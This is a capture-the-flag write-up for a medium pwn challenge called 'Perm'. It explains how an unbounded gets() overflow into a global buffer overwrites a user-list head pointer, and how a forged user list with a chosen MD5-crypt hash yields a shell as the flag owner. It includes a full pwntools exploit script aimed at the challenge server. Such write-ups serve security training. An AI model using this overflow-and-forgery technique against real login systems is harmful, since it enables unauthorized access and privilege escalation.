Perm
Perm
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: data_only_attack, global_buffer_overflow, integrity_count_bypass, self_supplied_crypt_hash, setresuid_privesc, user_list_forgery
Summary
Task: NON-PIE x86-64 fake UNIX mainframe login that parses /etc/passwd+/etc/shadow into a malloc'd user linked list; an unbounded gets() into a 0x1000 global sits immediately before the global list-head pointer USER_FIRST. Solution: overflow input to overwrite USER_FIRST with a pointer to a fully forged 21-node user list built inside the same global (no leak needed, NON-PIE), reproducing the exact node count to defeat the integrity check and using a self-chosen MD5-crypt hash to authenticate as uid 51337 (flagholder), reaching setresuid()+/bin/bash to read /flag.txt.
Perm — pwn_spbctf
Description
Perm — Pwn. A fake UNIX mainframe login. Guest access is hinted (guest:guest). Remote:
nc 109.233.56.90 11592. Author: Vlad Roskov (mrvos).
A 64-bit x86-64 ELF (perm.elf) emulates a UNIX mainframe login. On startup it
parses /etc/passwd and /etc/shadow into a linked list of user structs,
then runs a single login flow: it crypt()-checks the supplied password and on
success drops privileges with setresuid(uid) and spawns system("/bin/bash -il").
Goal: /flag.txt is mode 0400 owned by user flagholder (uid 51337).
guest:guest only gives uid 1000 (cannot read the flag). flagholder exists in
/etc/passwd but has no password in /etc/shadow, so the normal login path
rejects it with "This user doesn't have a password!". We must obtain a shell
as flagholder.
Analysis
Protections: NON-PIE (base 0x400000), NX, Partial RELRO, stack canary present.
Being NON-PIE is the key enabler — every global lives at a fixed, known address.
Relevant globals:
| Symbol | Address | Notes |
|---|---|---|
input | 0x404100 | exactly 0x1000 bytes |
USER_COUNT | 0x4040e0 | int |
USER_FIRST | 0x405100 | list head ptr — = input + 0x1000, immediately after the buffer |
user struct (malloc(0x20)):
+0x00 char *name
+0x08 int uid
+0x10 char *hash (0 = no password)
+0x18 user *next
Key functions:
user_insert— prepends a node toUSER_FIRST, incrementsUSER_COUNT.user_lookup(key)— walksUSER_FIRSTvia+0x18,strcmp(node->name, key), records the LAST matching node intofound(does not break on first match) and counts nodes. After the walk:if (count != USER_COUNT) -> puts("MEMORY CORRUPTION DETECTED"); abort();mainlogin flow:gets(input)— username, UNBOUNDEDuser_lookup(input)— save returned node ptrgets(input)— password, UNBOUNDED, same global buffer- on the saved node: if
hash==0→ "doesn't have a password"; elsecrypt(password, node->hash)andstrcmpvsnode->hash; if equal anduid != 0→setgroups/setresgid/setresuid(uid)→system("/bin/bash -il").
Vulnerability
gets(input) is unbounded and input (0x404100) is exactly 0x1000 bytes,
ending precisely at USER_FIRST (0x405100). Overflowing input by 0x1000
bytes overwrites the list-head pointer USER_FIRST. Since the binary is
NON-PIE, we can forge a complete user list inside input itself and point
USER_FIRST at it — no heap/stack leak required.
This is a data-only attack: there is no control-flow hijack. We corrupt the authentication data structure so the program's own logic logs us in as flagholder.
Solution
Forge the entire user list inside input in the single username gets():
- Lookup key =
inputas a C-string (first bytes until NUL) — keep it"FH". - Place supporting strings and a forged list of exactly 21 nodes (to match
USER_COUNT == 21) in the upper part ofinput(offsets ~0x900+), so a short password line in the secondgets()does not clobber them. - Node 0 = flagholder:
name -> "FH",uid = 51337,hash -> our crypt string,next -> node1. - Nodes 1..20 = dummies:
name -> "dum"(a different string souser_lookupdoes not re-match — it returns the LAST match, so a same-named dummy withhash=0would win and break us),uid=1,hash=0, chained,node20.next=0. Total 21 → integrity check passes. - Forged hash = MD5-crypt of password
"x"with salt"abcdefgh", generated locally:openssl passwd -1 -salt abcdefgh x→$1$abcdefgh$znAnv9M.XU2pRYfmSs46h/. glibccrypt("x", that_hash)reproduces the exact string →strcmp == 0. - Append
p64(node0_addr)at offset0x1000to overwriteUSER_FIRST.
Interaction:
- username: send the
0x1008-byte crafted buffer (fake list +USER_FIRSToverwrite).user_lookupfinds node0 (uid 51337, our hash), count == 21 OK. - password: send short
"x"— does not reach offset0x1000, so the nodes andUSER_FIRSTsurvive; the saved node ptr already points at node0.crypt("x", node0->hash)matches → uid 51337 != 0 →setresuid(51337)→/bin/bashas flagholder. - shell:
id; cat /flag.txt→ flag.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys context.arch = 'amd64' INPUT = 0x404100 # global input buffer, size 0x1000 USER_FIRST = 0x405100 # = INPUT + 0x1000 (immediately after input) USER_COUNT = 21 # remote reported "21 users" # user struct (malloc 0x20): +0x00 name, +0x08 uid(int), +0x10 hash(0=none), +0x18 next HASH = b'$1$abcdefgh$znAnv9M.XU2pRYfmSs46h/' # openssl passwd -1 -salt abcdefgh x PW = b'x' LOGIN_NAME = b'FH' def build_username(): buf = bytearray(b'\x00' * 0x1000) # lookup key = input as C-string buf[0:len(LOGIN_NAME)] = LOGIN_NAME buf[len(LOGIN_NAME)] = 0 name_off, hash_off, dname_off = 0x900, 0x920, 0x960 def putstr(off, s): b = s + b'\x00' buf[off:off+len(b)] = b # exact-length assign: never resize the bytearray putstr(name_off, LOGIN_NAME) putstr(hash_off, HASH) putstr(dname_off, b'dum') # different name so lookup does NOT re-match dummies name_addr = INPUT + name_off hash_addr = INPUT + hash_off dname_addr = INPUT + dname_off nodes_off, NSTRIDE = 0xa00, 0x20 node_addr = lambda i: INPUT + nodes_off + i*NSTRIDE for i in range(USER_COUNT): off = nodes_off + i*NSTRIDE if i == 0: name, uid, h = name_addr, 51337, hash_addr # flagholder else: name, uid, h = dname_addr, 1, 0 # dummy nxt = node_addr(i+1) if i < USER_COUNT-1 else 0 buf[off+0x00:off+0x08] = p64(name) buf[off+0x08:off+0x0c] = p32(uid & 0xffffffff) buf[off+0x0c:off+0x10] = b'\x00'*4 buf[off+0x10:off+0x18] = p64(h) buf[off+0x18:off+0x20] = p64(nxt) return bytes(buf) + p64(node_addr(0)) # overwrite USER_FIRST at input+0x1000 def main(): io = remote('109.233.56.90', 11592) io.recvuntil(b'login: ') io.sendline(build_username()) # forge list + overwrite USER_FIRST io.recvuntil(b'password: ') io.sendline(PW) # short -> upper input/USER_FIRST survive io.sendline(b'id; cat /flag.txt') print(io.recvall(timeout=8).decode(errors='replace')) if __name__ == '__main__': main()